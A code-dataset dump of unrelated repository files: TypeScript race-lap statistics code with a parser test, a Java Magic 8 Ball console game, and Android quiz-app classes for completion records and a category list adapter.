// Atualiza a pior volta caso a volta analisada tenha um tempo maior que a atual
if (volta.tempoVolta > piorVolta.tempo) {
piorVolta.tempo = volta.tempoVolta;
piorVolta.volta = volta.numVolta;
}
// Adiciona o tempo da volta ao tempo total da prova
tempoTotalDeProva.add(volta.tempoVolta);
// Adiciona a velocidade média da volta no acumulador para computar a velocidade média final
velocidadeMediaAccumulator += volta.velMediaVolta;
// Salva o número da última volta completada para computar a velocidade média final
ultimaVolta = volta.numVolta;
});
const velocidadeMedia = velocidadeMediaAccumulator / ultimaVolta;
// Se o piloto não completou a prova, ele não tem tempo após o vencedor, já que este só é computado quando o piloto completa todas
// as voltas
if (ultimaVolta !== this.numeroTotalDeVoltas) { tempoAposVencedor = undefined; }
return {melhorVolta, piorVolta, tempoAposVencedor, velocidadeMedia, tempoTotalDeProva};
}
/**
* Retorna o tempo que o piloto levou para cruzar a linha de chegada e, consequentemente, o tempo até começar a contar a primeira volta
*
* @param voltasOrdenadasPeloHorario
* @param codigoDoPiloto
* @param horarioDeInicioDaCorrida
*/
private buscaTempoParaCruzarALinhaDeInicio(voltasOrdenadasPeloHorario: Voltas, codigoDoPiloto: string, horarioDeInicioDaCorrida: Duration) {
const primeiraVoltaDoPiloto = voltasOrdenadasPeloHorario.find(volta => volta.codigoPiloto === codigoDoPiloto) as DadosDeUmaVolta;
return primeiraVoltaDoPiloto.horarioRegistrado.clone().subtract(primeiraVoltaDoPiloto.tempoVolta).subtract(horarioDeInicioDaCorrida);
}
}
<file_sep>/src/dataAccessLayer/fileParser.spec.ts
import path from 'path';
import { expect } from 'chai';
import { FileParser } from './fileParser';
describe('FileParser', () => {
it('should parse a file', () => {
const nomeDoArquivo = path.join(path.dirname(__dirname), 'logs', 'log.txt');
const parser = new FileParser();
const result = parser.parse(nomeDoArquivo, 'utf-8');
expect(result).to.be.an('array');
expect(result[0]).to.have.property('horarioRegistrado');
expect(result[0]).to.have.property('codigoPiloto');
expect(result[0]).to.have.property('nomePiloto');
expect(result[0]).to.have.property('numVolta');
expect(result[0]).to.have.property('tempoVolta');
expect(result[0]).to.have.property('velMediaVolta');
});
});
| a552006a7669c6eb209a32c680f9cd35063b524d | [
"Markdown",
"TypeScript"
] | 12 | TypeScript | lopes-gustavo/gympass | 37651524e6fa6ce1e96b955b4ce0c010f9e728ca | 5ec320e95f0162f5e90c85aa891c36dae0e54448 |
refs/heads/master | <file_sep>import java.util.Scanner;
public class Magic8Ball {
public static void main(String[]args){
//declare
Scanner keyboard;
int testing;
String question;
boolean play = false;
String Choice;
//intialization phase
keyboard = new Scanner(System.in);
do {
System.out.println("Hello, I am the Magic8Ball!\nDo you want to learn your fate?");
System.out.println("Ask me any yes or no questions and I will answer them!");
question = keyboard.nextLine();
testing = (int) (Math.random() * 100);
System.out.println(question);
if (testing <= 10 && testing >= 0) {
System.out.println("Signs point to yes.");
} else if (testing > 10 && testing < 21) {
System.out.print("Signs point to no.");
}
if (testing > 20 && testing <= 30) {
System.out.println("It is certain.");
} else if (testing > 30 && testing <= 40) {
System.out.println("Don't count on it.");
}
if (testing >= 41 && testing <= 50) {
System.out.println("As I see it, yes.");
} else if (testing > 50 && testing <= 60) {
System.out.println("My sources say no.");
}
if (testing >= 61 && testing <= 70) {
System.out.println("Without a doubt.");
} else if (testing > 70 && testing <= 80) {
System.out.println("Very doubtful.");
}
if (testing >= 81 && testing <= 90) {
System.out.println("You may rely on it.");
} else if (testing > 90 && testing <= 100) {
System.out.println("My reply is no.");
}
do {
System.out.print("Would you like to play again?");
System.out.print(" Type \"Y or N\"");
Choice = keyboard.nextLine().toLowerCase();
if (Choice.equalsIgnoreCase("y")) {
play = true;
} else if (Choice.equalsIgnoreCase("n")) {
play = false; }
} while (!Choice.equalsIgnoreCase("y") && !Choice.equalsIgnoreCase("n"));
}while(play);
}
}
/*
10 different answers: 5 positive and 5 negative
0-10: Signs point to yes.
11-20: signs point to no.
21-30: It is certain.
31-40: Don't count on it.
41-50: As I see it, yes.
51-60: My sources say no.
61-70: Without a doubt.
71-80: Very doubtful.
81-90: You may rely on it.
91-100: My reply is no.
*/
| 5b0fba532e633083e4a1df0b0e785773b125cb4f | [
"Java"
] | 1 | Java | Bharat107/Magic_8_Ball- | f6c5f45885782cabfe633defdcc62db2961678a0 | ba3e6f58336547f2bd218ba797eadf1c4aac7073 |
refs/heads/master | <repo_name>aellis928/tennisdraws<file_sep>/client/controllers/playerController.js
myApp.controller('playerController', function($scope, $location, userFactory, tournamentFactory, drawFactory){
console.log('in the player controller')
$scope.users = [];
$scope.draws = [];
userFactory.getUsers(function(data){
console.log(data)
$scope.users = data;
})
// drawFactory.getdraw(function(data){
// console.log(data)
// $scope.draws = data;
// })
// $scope.createDraw = function(){
// // console.log('officially created a draw!')
// console.log($scope.newDraw)
// drawFactory.addDraw($scope.newDraw, function(data){
// console.log('officially created a draw!')
// console.log(data)
// $scope.draws = data;
// $scope.newDraw = {}
// })
// }
})<file_sep>/server/controllers/users.js
var mongoose = require('mongoose');
var User = mongoose.model('User')
module.exports = (function(){
return {
// start of the add method
// addCustomer: function(req, res){
// console.log("made it into the controller!")
// console.log(req.body)
// var newCustomer = new Customer(req.body);
// newCustomer.save(function(err, customer){
// if(err){
// console.log('error in creating customer')
// // console.log(newCustomer.errors)
// res.json({errors : newCustomer.errors})
// }
// else{
// console.log('made a customer!')
// res.json(customer)
// }
// })
// newCustomer.create(function(err, customer){
// if(newCustomer.save){
// console.log("Created a new customer!")
// }
// else{
// console.log("Did not make a new customer!")
// }
// })
}
// end of the add method
// start of get method
// getCustomers: function(req, res){
// console.log("made it to the controller")
// Customer.find({}, function(err, customers){
// if(err){
// console.log("made an error getting the customers")
// }
// else{
// console.log("got all the users!")
// res.json(customers)
// }
// })
// },
// // end of get method
// // start of delete method
// removeCustomers: function(req, res){
// console.log("in controller!")
// Customer.remove({_id: req.params.id}, function(err, removedcustomer){
// if(err){
// console.log("Error!")
// }
// else{
// console.log("Removed the customer")
// res.json(removedcustomer)
// }
// })
// }
})(); | 446f254370bcf2fdd478d632935e570eab80da74 | [
"JavaScript"
] | 2 | JavaScript | aellis928/tennisdraws | b43d8d817c7d4551e02f329807bbecefdcac2801 | 429107450f70f917859aadfd0a720e6b5c3a1030 |
refs/heads/master | <file_sep># example demo from dva tutorial
- npm install
- to run: npm start
- to build: npm run build (will generate files under /dist)
# structure of /src
- components
presential component: CountApp
- routers
container component: HomePage
HomePage is responsible for:
- import CountApp
- connect model and component(CountApp)
- index.js
- define model
- define router (import HomePage)
<file_sep>import dva from 'dva';
import { Router, Route } from 'dva/router';
import React from 'react';
import key from 'keymaster';
import HomePage from './routes/Homepage';
// 1. Initialize
const app = dva();
// 2. Model
// Remove the comment and define your model.
//app.model({});
app.model({
namespace: 'count',
state: {
record: 0,
current: 0,
},
reducers: {
add(state) {
const newCurrent = state.current + 1;
return { ...state,
record: newCurrent > state.record ? newCurrent : state.record,
current: newCurrent,
};
},
minus(state) {
return { ...state, current: state.current - 1};
},
},
effects: {
*add(action, { call, put }) {
yield call(delay, 1000);
yield put({ type: 'minus' });
},
},
subscriptions: {
keyboardWatcher({ dispatch }) {
key('⌘+up, ctrl+up', () => { dispatch({type:'add'}) });
},
},
});
// 3. Router
app.router(({ history }) =>
<Router history={history}>
<Route path="/" exact component={HomePage} />
</Router>
);
// 4. Start
app.start('#root');
function delay(timeout){
return new Promise(resolve => {
setTimeout(resolve, timeout);
});
}
| 7b8caa76c39fd9ecfc06bf902aa1672270bc340c | [
"Markdown",
"JavaScript"
] | 2 | Markdown | bravadoops/DvaCounter | 69a374045431d41f4caf91e9dd53fbd8b7e88386 | ef858b218fa078d4f5254e2d974d67e95a0044e1 |
refs/heads/master | <file_sep>#include <QCoreApplication>
#include <iostream>
#include <set>
#include <string>
#include "DataKeeper.h"
#include "CiString.h"
class NewSortOrder
{
public:
bool operator()(const std::string& left, const std::string& right)
{
return strcmpi(left.c_str(), right.c_str());
}
};
int main(int argc, char *argv[])
{
using namespace std;
QCoreApplication a(argc, argv);
set<CiString> setCiStr;
setCiStr.insert("math");
setCiStr.insert("Matha");
setCiStr.insert("aba");
setCiStr.insert("Abra");
setCiStr.insert("5dfg");
set<string> setStr;
setStr.insert("math");
setStr.insert("Matha");
setStr.insert("aba");
setStr.insert("Abra");
setStr.insert("5dfg");
set<string, NewSortOrder> setWithNewOrder;
setWithNewOrder.insert("math");
setWithNewOrder.insert("Matha");
setWithNewOrder.insert("aba");
setWithNewOrder.insert("Abra");
setWithNewOrder.insert("5dfg");
cout << "Set of string:\n";
for(auto it = setStr.begin(); it != setStr.end(); ++it)
{
cout << *it << "\n";
}
cout << "\nSet of CiString:\n";
for(auto it = setCiStr.begin(); it != setCiStr.end(); ++it)
{
cout << (*it).c_str() << "\n";
}
cout << "\nSet with newOrder:\n";
for(auto it = setWithNewOrder.begin(); it != setWithNewOrder.end(); ++it)
{
cout << *it << "\n";
}
return a.exec();
}
<file_sep>#include <QCoreApplication>
#include <iostream>
#include "PtrVector.h"
struct A
{
A(int in): a(in)
{
std::cout << "constructor A\n";
}
A(const A& in): a(in.a)
{
std::cout << "copy constructor A\n";
}
~A()
{
std::cout << "destructor A\n";
}
int a;
};
int main(int argc, char *argv[])
{
{
PtrVector<A> ptrv;
for(int i = 0; i < 3; ++i)
{
A* a = new A(i);
ptrv.Add(a);
}
for(int i = 0; i < ptrv.Size(); ++i)
{
std::cout << ptrv.Get(i).a << "\n";
}
PtrVector<A> ptrv2(ptrv);
PtrVector<A> ptrv3 = ptrv;
std::cout << ptrv.Get(1).a << "\n";
std::cout << ptrv2.Get(1).a << "\n";
std::cout << ptrv3.Get(1).a << "\n";
ptrv2.Get(1).a = 2;
ptrv3.Get(1).a = 3;
std::cout << ptrv.Get(1).a << "\n";
std::cout << ptrv2.Get(1).a << "\n";
std::cout << ptrv3.Get(1).a << "\n";
ptrv.Clear();
}
return 1;
}
<file_sep>#include "Writer.h"
#include "Content.h"
#include <sstream>
#include <fstream>
void Writer::Write(std::stringstream& strm)
{
strm << "B::Write(std::stringstream& strm)\n";
}
void Writer::Write(std::fstream& strm)
{
strm << "B::Write(std::fstream& strm)\n";
}
void Writer::WriteFrom(const Content& c, std::string& dest)
{
dest = c.Read();
}
<file_sep>#include "DataKeeper.h"
#include <algorithm>
DataKeeper::DataKeeper():
m_data(nullptr),
m_size(0)
{}
DataKeeper::DataKeeper(const uint8_t *data, size_t size)
{
m_data = new uint8_t[size];
try
{
std::copy(data, data + size, m_data);
}
catch(const std::exception /*ex*/)
{
delete[] m_data;
throw;
}
m_size = size;
}
DataKeeper::~DataKeeper()
{
if(m_data != nullptr)
{
delete[] m_data;
}
}
void DataKeeper::Set(const uint8_t *data, size_t size)
{
uint8_t *tempData = new uint8_t[size];
try
{
std::copy(data, data + size, tempData);
}
catch(const std::exception /*ex*/)
{
delete[] tempData;
throw;
}
std::swap(tempData, m_data);
m_size = size;
delete[] tempData;
}
void DataKeeper::Add(uint8_t *data, size_t size)
{
size_t newSize = m_size + size;
uint8_t *tempData = new uint8_t[newSize];
try
{
std::copy(m_data, m_data + m_size, tempData);
std::copy(data, data + size, tempData + m_size);
}
catch(const std::exception /*ex*/)
{
delete[] tempData;
throw;
}
std::swap(tempData, m_data);
m_size = newSize;
delete[] tempData;
}
const uint8_t *DataKeeper::Get() const
{
if (m_size == 0)
{
return nullptr;
}
else
{
uint8_t *tempData = new uint8_t[m_size];
try
{
std::copy(m_data, m_data + m_size, tempData);
}
catch(const std::exception /*ex*/)
{
delete[] tempData;
throw;
}
return tempData;
}
}
size_t DataKeeper::Size() const
{
return m_size;
}
<file_sep>#pragma once
#include <iostream>
#include <memory>
#include <string>
class StringKeeper
{
public:
StringKeeper(const std::string& str);
~StringKeeper(){}
StringKeeper(const StringKeeper& other);
StringKeeper &operator=(const StringKeeper& other);
const std::string& Get() const;
std::string& Get();
private:
void Swap(StringKeeper& other)
{
std::swap(bufer, other.bufer);
}
private:
std::shared_ptr<std::string> bufer;
};
<file_sep>#pragma once
#include "Content.h"
class Writer;
class ExtendedContent: public Content
{
public:
ExtendedContent(const std::string& text);
ExtendedContent CreateFrom(Content* a) const;
std::string WriteWith(Writer* b) const;
};
<file_sep>#include <QCoreApplication>
#include <iostream>
#include "StringKeeper.h"
void Print(StringKeeper sk)
{
sk.Get() = "temp";
std::cout << sk.Get() << "\n";
}
int main(int argc, char *argv[])
{
StringKeeper str("One");
StringKeeper str2 = str;
StringKeeper str3("Three");
str2 = str3;
str2.Get() = "Two";
std::cout << str.Get() << "\n"
<< str2.Get() << "\n";
std::string st;
st = str.Get();
std::cout << str.Get() << "\n"
<< st << "\n";
st = "string";
std::cout << str.Get() << "\n"
<< st << "\n";
Print(str2);
return 0;
}
<file_sep>#ifndef PTRVECTOR_H
#define PTRVECTOR_H
#include <vector>
#include <memory>
//#include <utility>
template<class T>
class PtrVector
{
public:
PtrVector(){}
PtrVector(const std::vector<std::shared_ptr<T>>& otherVector)
{
for(std::shared_ptr<T> elem : otherVector)
{
m_storage.emplace_back(new T (*(elem.get())));
}
}
~PtrVector()
{}
PtrVector(const PtrVector& other)
{
PtrVector temp(other.m_storage);
Swap(temp);
}
const PtrVector operator=(const PtrVector& other)
{
PtrVector temp(other.m_storage);
Swap(temp);
return *this;
}
void Add(T* p) // Takes ownership of the p
{
m_storage.emplace_back(std::shared_ptr<T>(p));
p = nullptr;
}
T &Get(size_t index)
{
return *m_storage.at(index).get();
}
const T& Get(size_t index) const
{
return (m_storage.at(index).get());
}
void Clear()
{
m_storage.clear();
}
size_t Size() const
{
return m_storage.size();
}
private:
void Swap(PtrVector& right)
{
std::swap(m_storage, right.m_storage);
}
private:
std::vector<std::shared_ptr<T>> m_storage;
};
#endif // PTRVECTOR_H
<file_sep>#include "ExtendedContent.h"
#include "Writer.h"
ExtendedContent::ExtendedContent(const std::string& text)
: Content(text.c_str())
{ }
ExtendedContent ExtendedContent::CreateFrom(Content* a) const
{
return ExtendedContent(a->Read());
}
std::string ExtendedContent::WriteWith(Writer* b) const
{
std::string text;
b->WriteFrom(*this, text);
return text;
}
<file_sep>#pragma once
#include <iostream>
class DataKeeper
{
public:
DataKeeper();
DataKeeper(const uint8_t* data, size_t size);
~DataKeeper();
void Set(const uint8_t* data, size_t size); // Stores given data with given size as copy
void Add(uint8_t* data, size_t size); // Adds given data to the end of existant data
const uint8_t* Get() const; // Returns stored data
size_t Size() const; // Returns the size of the stored data
private:
uint8_t* m_data;
size_t m_size;
};
<file_sep>#include "Content.h"
Content::Content(const char* text)
: m_text(text)
{ }
const char* Content::Read() const
{
return m_text.c_str();
}
<file_sep>#include "PtrVector.h"
<file_sep>#include <QCoreApplication>
#include "Build.h"
int main(int argc, char *argv[])
{
Building home("Pupkin str, 1", 4, BuildingType::House);
Building office("Pupkin str, 2", 4, BuildingType::Office);
HumanGuard bob = std::make_shared<Man>(QDate(2000, 1, 1), "Bob");
HumanGuard alice = std::make_shared<Woman>(QDate(1990, 2, 3), "Alice");
Humans_vt familyFromFirstRoom;
familyFromFirstRoom.push_back(bob);
familyFromFirstRoom.push_back(alice);
home.PopulateInAppartment(familyFromFirstRoom, 1);
Humans_vt EmployeesFromFirstOffice;
EmployeesFromFirstOffice.emplace_back(bob);
office.PopulateInAppartment(EmployeesFromFirstOffice, 1);
Humans_vt EmployeesFromSecondOffice;
EmployeesFromSecondOffice.emplace_back(alice);
office.PopulateInAppartment(EmployeesFromSecondOffice, 2);
home.About();
office.About();
return 0;
}
<file_sep>#include <QCoreApplication>
#include <iostream>
#include <set>
#include <string>
#include "DataKeeper.h"
int main(int argc, char *argv[])
{
uint8_t data1[] {1, 2, 3, 4, 5};
DataKeeper keeper;
keeper.Set(data1, 5);
const uint8_t* temp = keeper.Get();
for(int i = 0; i < 5; ++i)
{
std::cout << static_cast<int>(*temp);
++temp;
}
uint8_t data2[] {6, 7, 8, 9, 0};
keeper.Add(data2, 5);
const uint8_t* temp2 = keeper.Get();
for(int i = 0; i < 10; ++i)
{
std::cout << static_cast<int>(*temp2);
++temp2;
}
return 1;
}
<file_sep>#include "StringKeeper.h"
StringKeeper::StringKeeper(const std::string &str)
{
bufer = std::make_shared<std::string>(str);
}
StringKeeper::StringKeeper(const StringKeeper &other)
{
bufer = other.bufer;
}
StringKeeper& StringKeeper::operator=(const StringKeeper &other)
{
StringKeeper temp(other);
Swap(temp);
return *this;
}
const std::string& StringKeeper::Get() const
{
return *bufer.get();
}
std::string& StringKeeper::Get()
{
bufer.reset(new std::string(*bufer.get()));
return *bufer.get();
}
<file_sep>#pragma once
#include <iosfwd>
#include <string>
class Content;
class Writer
{
public:
void Write(std::stringstream& strm);
void Write(std::fstream& strm);
void WriteFrom(const Content& c, std::string& dest);
};
<file_sep>#pragma once
#include <string>
class Content
{
public:
Content(const char* text);
const char* Read() const;
protected:
std::string m_text;
};
<file_sep>#pragma once
#include "Build.h"
Human::Human(const QDate& bdata, const std::string& name):
m_birthdayDate(bdata),
m_name(name)
{}
QDate Human::GetBithday()
{
return m_birthdayDate;
}
void Human::AboutMe()
{
std::cout << "Name" << m_name << "\n"
<< "Birthday " << m_birthdayDate.toString("dd.MM.yyyy").toStdString() << "\n";
}
Man::Man(const QDate& bdata, const std::string& name):Human(bdata, name){}
void Man::AboutMe()
{
std::cout << "Man";
Human::AboutMe();
}
Woman::Woman(const QDate& bdata, const std::string& name):Human(bdata, name){}
void Woman::AboutMe()
{
std::cout << "Woman";
Human::AboutMe();
}
Apartment::Apartment(){}
Apartment::Apartment(const Humans_vt& tenants)
{
m_tenants.reserve(tenants.size());
m_tenants.insert(m_tenants.begin(), tenants.begin(), tenants.end());
}
void Apartment::Populate(const Humans_vt& newTenants)
{
m_tenants.clear();
m_tenants.reserve(newTenants.size());
m_tenants.insert(m_tenants.begin(), newTenants.begin(), newTenants.end());
}
void Apartment::About()
{
if (m_tenants.empty())
{
std::cout << "No roomers are here.\n";
}
for(HumanGuard tenant : m_tenants)
{
tenant->AboutMe();
}
}
Building::Building(const std::string& adress, size_t countOfApartments, BuildingType type):
m_adress(adress),
m_countOfApartments(countOfApartments),
m_type(type)
{
m_apartments.resize(countOfApartments);
}
void Building::PopulateInAppartment(const Humans_vt& people, size_t roomNumber)
{
if (roomNumber > m_countOfApartments)
{
return;// or Error
}
m_apartments[roomNumber - 1].Populate(people);
}
std::string Building::GetAdress()
{
return m_adress;
}
size_t Building::GetCountOfApartments()
{
return m_countOfApartments;
}
void Building::About()
{
std::string type = (m_type == House)? "House" : "Office";
std::cout << "adress " << m_adress << "\n"
<< "type " << type << "\n"
<< "Count of appartments " << m_countOfApartments << "\n";
for(size_t i = 0; i < m_apartments.size(); ++i)
{
std::cout << "Apartment " << i+1 << "\n";
m_apartments[i].About();
}
std::cout << "\n";
}
<file_sep>#pragma once
#include <string>
#include <iostream>
#include <cctype>
#include <set>
struct CiCharTraits : public std::char_traits<char>
{
static bool eq(char left, char right)
{
return toupper(left) == toupper(right);
}
static bool lt(char left, char right)
{
return toupper(left) < toupper(right);
}
static int compare(const char* left, const char* right, size_t len)
{
return memicmp(left, right, len);
}
};
typedef std::basic_string < char, CiCharTraits> CiString;
class IgnoreCaseSet : public std::set<CiCharTraits>
{
public:
IgnoreCaseSet();
};
<file_sep>#pragma once
#include <iostream>
#include <string>
#include <vector>
#include <QDate>
#include <memory>
class Human
{
public:
Human(const QDate& bdata, const std::string& name);
QDate GetBithday();
void AboutMe();
private:
QDate m_birthdayDate;
std::string m_name;
};
class Man: public Human
{
public:
Man(const QDate& bdata, const std::string& name);
void AboutMe();
};
class Woman: public Human
{
public:
Woman(const QDate& bdata, const std::string& name);
void AboutMe();
};
using HumanGuard = std::shared_ptr<Human>;
using Humans_vt = std::vector<HumanGuard>; // Family or Employees
struct Apartment
{
Apartment();
explicit Apartment(const Humans_vt& tenants);
void Populate(const Humans_vt& newTenants);
void About();
private:
Humans_vt m_tenants;
};
using Apartmens_vt = std::vector<Apartment>;
enum BuildingType
{
House = 1,
Office
};
class Building
{
public:
Building(const std::string& adress, size_t countOfApartments, BuildingType type);
void PopulateInAppartment(const Humans_vt& people, size_t roomNumber);
std::string GetAdress();
size_t GetCountOfApartments();
void About();
private:
std::string m_adress;
size_t m_countOfApartments;
Apartmens_vt m_apartments;
BuildingType m_type;
};
| 6986de06d1bc2ad8f9407faab97759c642f09237 | [
"C++"
] | 20 | C++ | PotapovAlexandr/Eliademy | 4086434a2de2f590d9fee209cd688d19fdc9cf7a | 96e90a367ac63d9f37d48227ee53420b613c46af |
refs/heads/master | <file_sep>"# EpamTask1"
<file_sep>package by.epam.home_task1.task8;
public class U1Task8 {
public static void main(String[] args) {
double x = 25.7;
System.out.println(functionValue(2.8));
}
public static double functionValue(double x) {
if (x < 3) {
return 1 / (x * x * x - 6);
} else {
return (-1) * x * x + 3 * x + 9;
}
}
}
<file_sep>package by.epam.home_task1.task4;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class U1Task4Test {
@Test
void twoOrMoreEvenNumbers() throws Exception {
//CASE 1
boolean expectedResult = false;
boolean actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{1, 3, 5, 7});
assertEquals(expectedResult, actualResult);
//CASE 2
expectedResult = false;
actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{1, 4, 0, 7});
assertEquals(expectedResult, actualResult);
//CASE 3
expectedResult = true;
actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{1, 4, 0, 6});
assertEquals(expectedResult, actualResult);
//CASE 4
expectedResult = true;
actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{1, 4, 8, 6});
assertEquals(expectedResult, actualResult);
//CASE 5
expectedResult = true;
actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{10, 4, 8, 6});
assertEquals(expectedResult, actualResult);
//CASE 6
expectedResult = false;
actualResult = U1Task4.twoOrMoreEvenNumbers(new int[]{1, 4, 8, 6, 20});
assertEquals(expectedResult, actualResult);
}
}<file_sep>package by.epam.home_task1.task3;
public class U1Task3 {
public static void main(String[] args) {
double sBigFoursquare = 27.333;
System.out.println(" Big foursquare S = " + sBigFoursquare
+ "\n Little foursquare s = " + sLittleFoursquare(sBigFoursquare));
}
public static double sLittleFoursquare(double sBigFoursquare) {
return sBigFoursquare / 2;
}
}
| 6bcc0c350a453c13eca14f0db114864d045f48d2 | [
"Markdown",
"Java"
] | 4 | Markdown | IvanSinegovsky/epam-jwd-task1 | 1998caf43c2b553d52efcec62c24de9e818a9148 | feeced126c6a1da59c51755bf0870098077414d1 |
refs/heads/master | <file_sep>#!/bin/bash
###################################################################
# #
# Upgrade kernel to apply latest security updates. #
# #
###################################################################
sudo apt-get update
sudo apt-get -y upgrade
###################################################################
# #
# Install zip and wget package. #
# #
###################################################################
sudo apt-get install unzip
sudo apt-get install wget
###################################################################
# #
# If condition will check whether Terraform is install or not.#
# If not installed then terraform will installed. #
# #
###################################################################
a="$(terraform --version)"
if [$a==Terraform v0.12.2*]
then
mkdir Terraform
cd Terraform
wget https://releases.hashicorp.com/terraform/0.12.2/terraform_0.12.2_linux_amd64.zip
unzip terraform_0.12.2_linux_amd64.zip
sudo mv terraform /usr/local/bin/
sudo snap install terraform
else
wget https://dl.google.com/go/go1.12.6.linux-amd64.tar.gz
sudo tar -xvf go1.12.6.linux-amd64.tar.gz
sudo mv go /usr/local
###################################################################
# #
# Now you need to setup Go language environment variables for #
# your project. #
# Commonly you need to set 3 environment variables as GOROOT, #
# GOPATH and PATH. #
# GOROOT is the location where Go package is installed on your #
# system. #
# #
###################################################################
mkdir -p $HOME/Projects/scvmm
echo -e export GOROOT=/usr/local/go >> ~/.profile
echo -e export GOPATH=$HOME/Projects/scvmm >> ~/.profile
echo -e export PATH=$GOPATH/bin:$GOROOT/bin:$PATH >> ~/.profile
source /root/.profile
cd $HOME/Projects/scvmm
####################################################################
# #
#Git clobe will copy all .go file from github repostory to local #
#machine. #
# #
####################################################################
git clone https://github.com/rahuldevopsengg/scvmm.git
mv scvmm/* .
rm -rf scvmm
mkdir -p /usr/local/go/src
git clone https://github.com/rahuldevopsengg/terraform.git
mkdir -p /usr/local/go/src/github.com/hashicorp
mv terraform /usr/local/go/src/github.com/hashicorp/
echo -e export PATH=$GOPATH/bin:$GOROOT/bin:$PATH >> ~/.profile
source /root/.profile
go build -o terraform-provider-scvmm
sudo snap install terraform
terraform init
terraform plan
fi
| e4a30794c4d114de89cb4b199165a09ba785c011 | [
"Shell"
] | 1 | Shell | rahuldevopsengg/scvmm | 392e40035b82d04dc41076b8b6f9ffe71dc723b4 | cd2ffb5c92f71063d4431424cb66d4fd6ad52eb7 |
refs/heads/master | <file_sep>package in.uscool.androidquiz.database;
import java.util.ArrayList;
import java.util.List;
import javax.inject.Inject;
import de.greenrobot.dao.query.QueryBuilder;
import in.uscool.androidquiz.model.Completion;
import in.uscool.androidquiz.model.CompletionDao;
import in.uscool.androidquiz.model.DaoSession;
import in.uscool.androidquiz.model.User;
/**
* Created by <NAME>
* <p/>
* Data Source class for custom access to completion table entries in the database
*/
public class CompletionDataSource {
private DaoSession mDaoSession;
/**
* Constructor defines the daosession
* @param session the DaoSession
*/
@Inject
CompletionDataSource(DaoSession session) {
mDaoSession = session;
}
/**
* Find a completion object of a challenge and a user (combined "primary" key)
* @param challengeId the challenge
* @param userId the user
* @return The completion object
*/
public Completion findByChallengeAndUser(long challengeId, long userId) {
return mDaoSession.getCompletionDao().queryBuilder().where(CompletionDao.Properties.ChallengeId.eq(challengeId), CompletionDao.Properties.UserId.eq(userId)).unique();
}
/**
* Updates a completion object in the database
* @param completed Completion
*/
public void update(Completion completed) {
mDaoSession.update(completed);
}
/**
* Inserts a completion object in the database
* @param completed Completion object
* @return row number
*/
public long create(Completion completed) {
return mDaoSession.getCompletionDao().insert(completed);
}
/**
* Get all completion objects depending on the user and the stage
* @param user the user
* @param stage the stage
* @return List of completion objects
*/
public List<Completion> findByUserAndStage(User user, int stage) {
QueryBuilder<Completion> completed = mDaoSession.getCompletionDao().queryBuilder()
.where(CompletionDao.Properties.UserId.eq(user.getId()),
CompletionDao.Properties.Stage.eq(stage));
return completed.list();
}
/**
* Get all completion objects depending on the user, the stage and the category
* @param user the user
* @param stage the stage
* @param categoryId the category
* @return List of completion objects
*/
public List<Completion> findByUserAndStageAndCategory(User user, int stage, long categoryId) {
List<Completion> userStageCompletions = findByUserAndStage(user, stage);
if (categoryId == CategoryDataSource.CATEGORY_ID_ALL)
return userStageCompletions;
else {
List<Completion> completions = new ArrayList<>();
for (Completion completion : userStageCompletions) {
if (completion.getChallenge().getCategoryId()==categoryId) {
completions.add(completion);
}
}
return completions;
}
}
}<file_sep>package in.uscool.androidquiz.activities.selectcategory
;
import android.support.v4.util.LongSparseArray;
import android.support.v7.widget.LinearLayoutCompat;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.List;
import in.uscool.androidquiz.R;
import in.uscool.androidquiz.database.CategoryDataSource;
import in.uscool.androidquiz.model.Category;
/**
* Created by funkv on 17.02.2016.
*/
public class CategoryAdapter extends RecyclerView.Adapter<CategoryViewHolder> {
private List<Category> mCategories;
private SelectionListener mListener;
private LongSparseArray<Integer> mDueChallengeCounts = new LongSparseArray<>();
/**
* Adapter for Listing Categories in a recycler view
* @param categories list of categories to show
* @param dueChallengeCounts an SparseArray that maps category ids to their due challenge count.
* @param listener listener that is notified when a category is clicked.
*/
public CategoryAdapter(List<Category> categories, LongSparseArray<Integer> dueChallengeCounts, SelectionListener listener) {
mListener = listener;
mCategories = categories;
mDueChallengeCounts = dueChallengeCounts;
setHasStableIds(true);
}
/**
* Notify the adapter that new due challenge counts are to be displayed
* @param dueChallengeCounts due challenge counts to apply
*/
public void notifyDueChallengeCountsChanged(LongSparseArray<Integer> dueChallengeCounts) {
mDueChallengeCounts = dueChallengeCounts;
notifyDataSetChanged();
}
/**
* Called to create the ViewHolder at the given position.
*
* @param parent parent to assign the newly created view to
* @param viewType ignored
*/
@Override
public CategoryViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.list_item_category, parent, false);
v.setLayoutParams(new LinearLayoutCompat.LayoutParams(LinearLayoutCompat.LayoutParams.MATCH_PARENT, LinearLayoutCompat.LayoutParams.WRAP_CONTENT));
return new CategoryViewHolder(v, mListener);
}
/**
* Called to bind the ViewHolder at the given position.
*
* @param holder the ViewHolder object to be bound
* @param position the position of the ViewHolder
*/
@Override
public void onBindViewHolder(CategoryViewHolder holder, int position) {
// Categories
int amountDue = 0;
if (position == 0) {
for (Category category : mCategories) {
amountDue += mDueChallengeCounts.get(category.getId());
}
holder.bindAllCategoriesCard(amountDue);
} else {
final Category category = mCategories.get(position - 1);
holder.bindCard(category, mDueChallengeCounts.get(category.getId()));
}
}
/**
* Returns the count of ViewHolders in the adapter
*
* @return the count of ViewHolders
*/
@Override
public int getItemCount() {
return mCategories.size() + 1;
}
/**
* Returns the stable ID for the item at <code>position</code>.
*
* @param position Adapter position to query
* @return the stable ID of the item at position
*/
@Override
public long getItemId(int position) {
if (position == 0) {
return CategoryDataSource.CATEGORY_ID_ALL;
}
Category category = mCategories.get(position - 1);
return category.getId();
}
/**
* Interface to pass selection events.
*/
public interface SelectionListener {
void onCategorySelected(Category category);
void onAllCategoriesSelected();
void onCategoryStatisticsSelected(Category category);
void onAllCategoriesStatisticsSelected();
}
}
<file_sep>package in.uscool.androidquiz.utility;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* Created by thomasstuckel on 10/03/2016.
*
* This class contains all file utilitiy methods.
*/
